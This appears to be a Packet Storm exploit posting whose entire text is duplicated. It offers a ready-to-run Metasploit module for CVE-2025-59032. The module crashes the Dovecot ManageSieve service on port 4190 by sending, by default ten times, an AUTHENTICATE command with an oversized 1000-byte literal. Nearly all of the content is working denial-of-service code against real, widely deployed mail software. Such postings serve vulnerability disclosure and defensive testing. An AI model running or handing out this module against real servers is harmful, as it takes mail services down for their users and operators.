7.5
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description
This Metasploit auxiliary module targets a denial of service vulnerability in the Dovecot ManageSieve service, where improper handling of authentication requests can lead to service crashes. Affects Dovecot CE core 2.4.0-2.4.2 and Dovecot Pro core...
Basic Information
ID
PACKETSTORM:219557
Published
Apr 22, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Dovecot ManageSieve Crash Denial of Service Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.dovecotpro.com/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a Denial of Service (DoS) vulnerability in the Dovecot ManageSieve service, where improper handling of authentication requests can lead to service crashes.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Dos
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dovecot ManageSieve Crash DoS',
'Description' => %q{
Dovecot ManageSieve service crashes when receiving an AUTHENTICATE command
with a literal as SASL initial response. This vulnerability can be exploited
to repeatedly crash the ManageSieve service, making it unavailable for other
users.
Affects Dovecot CE core 2.4.0-2.4.2 and Dovecot Pro core 3.1.0-3.1.2.
Fixed in versions 2.4.3 and 3.1.3.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2025-59032'],
['URL', 'https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html'],
['CWE', '20']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-27'
)
)
register_options([
Opt::RPORT(4190),
OptInt.new('ATTEMPTS', [true, 'Number of crash attempts', 10])
])
end
def run
print_status("Dovecot ManageSieve Crash DoS (CVE-2025-59032)")
print_status("Target: #{peer}")
datastore['ATTEMPTS'].to_i.times do |i|
print_status("Crash attempt #{i + 1}/#{datastore['ATTEMPTS']}")
crash_managesieve
sleep(2)
end
print_status("DoS attack completed")
end
def crash_managesieve
sock = nil
begin
sock = connect
banner = sock.get_once
vprint_status("ManageSieve banner: #{banner}")
payload_data = "A" * 1000
literal = "{#{payload_data.length}}\r\n"
malicious_payload = "AUTHENTICATE \"PLAIN\" #{literal}"
malicious_payload += payload_data + "\r\n"
sock.put(malicious_payload)
response = sock.get_once(5)
if response.nil?
print_good("ManageSieve service crashed (no response)")
else
vprint_status("Response: #{response}")
end
rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused
print_good("ManageSieve service crashed (connection reset)")
rescue ::Exception => e
print_error("Error: #{e.message}")
ensure
disconnect(sock) if sock
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Dovecot ManageSieve Crash Denial of Service Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.dovecotpro.com/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a Denial of Service (DoS) vulnerability in the Dovecot ManageSieve service, where improper handling of authentication requests can lead to service crashes.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Dos
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dovecot ManageSieve Crash DoS',
'Description' => %q{
Dovecot ManageSieve service crashes when receiving an AUTHENTICATE command
with a literal as SASL initial response. This vulnerability can be exploited
to repeatedly crash the ManageSieve service, making it unavailable for other
users.
Affects Dovecot CE core 2.4.0-2.4.2 and Dovecot Pro core 3.1.0-3.1.2.
Fixed in versions 2.4.3 and 3.1.3.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2025-59032'],
['URL', 'https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html'],
['CWE', '20']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-27'
)
)
register_options([
Opt::RPORT(4190),
OptInt.new('ATTEMPTS', [true, 'Number of crash attempts', 10])
])
end
def run
print_status("Dovecot ManageSieve Crash DoS (CVE-2025-59032)")
print_status("Target: #{peer}")
datastore['ATTEMPTS'].to_i.times do |i|
print_status("Crash attempt #{i + 1}/#{datastore['ATTEMPTS']}")
crash_managesieve
sleep(2)
end
print_status("DoS attack completed")
end
def crash_managesieve
sock = nil
begin
sock = connect
banner = sock.get_once
vprint_status("ManageSieve banner: #{banner}")
payload_data = "A" * 1000
literal = "{#{payload_data.length}}\r\n"
malicious_payload = "AUTHENTICATE \"PLAIN\" #{literal}"
malicious_payload += payload_data + "\r\n"
sock.put(malicious_payload)
response = sock.get_once(5)
if response.nil?
print_good("ManageSieve service crashed (no response)")
else
vprint_status("Response: #{response}")
end
rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused
print_good("ManageSieve service crashed (connection reset)")
rescue ::Exception => e
print_error("Error: #{e.message}")
ensure
disconnect(sock) if sock
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================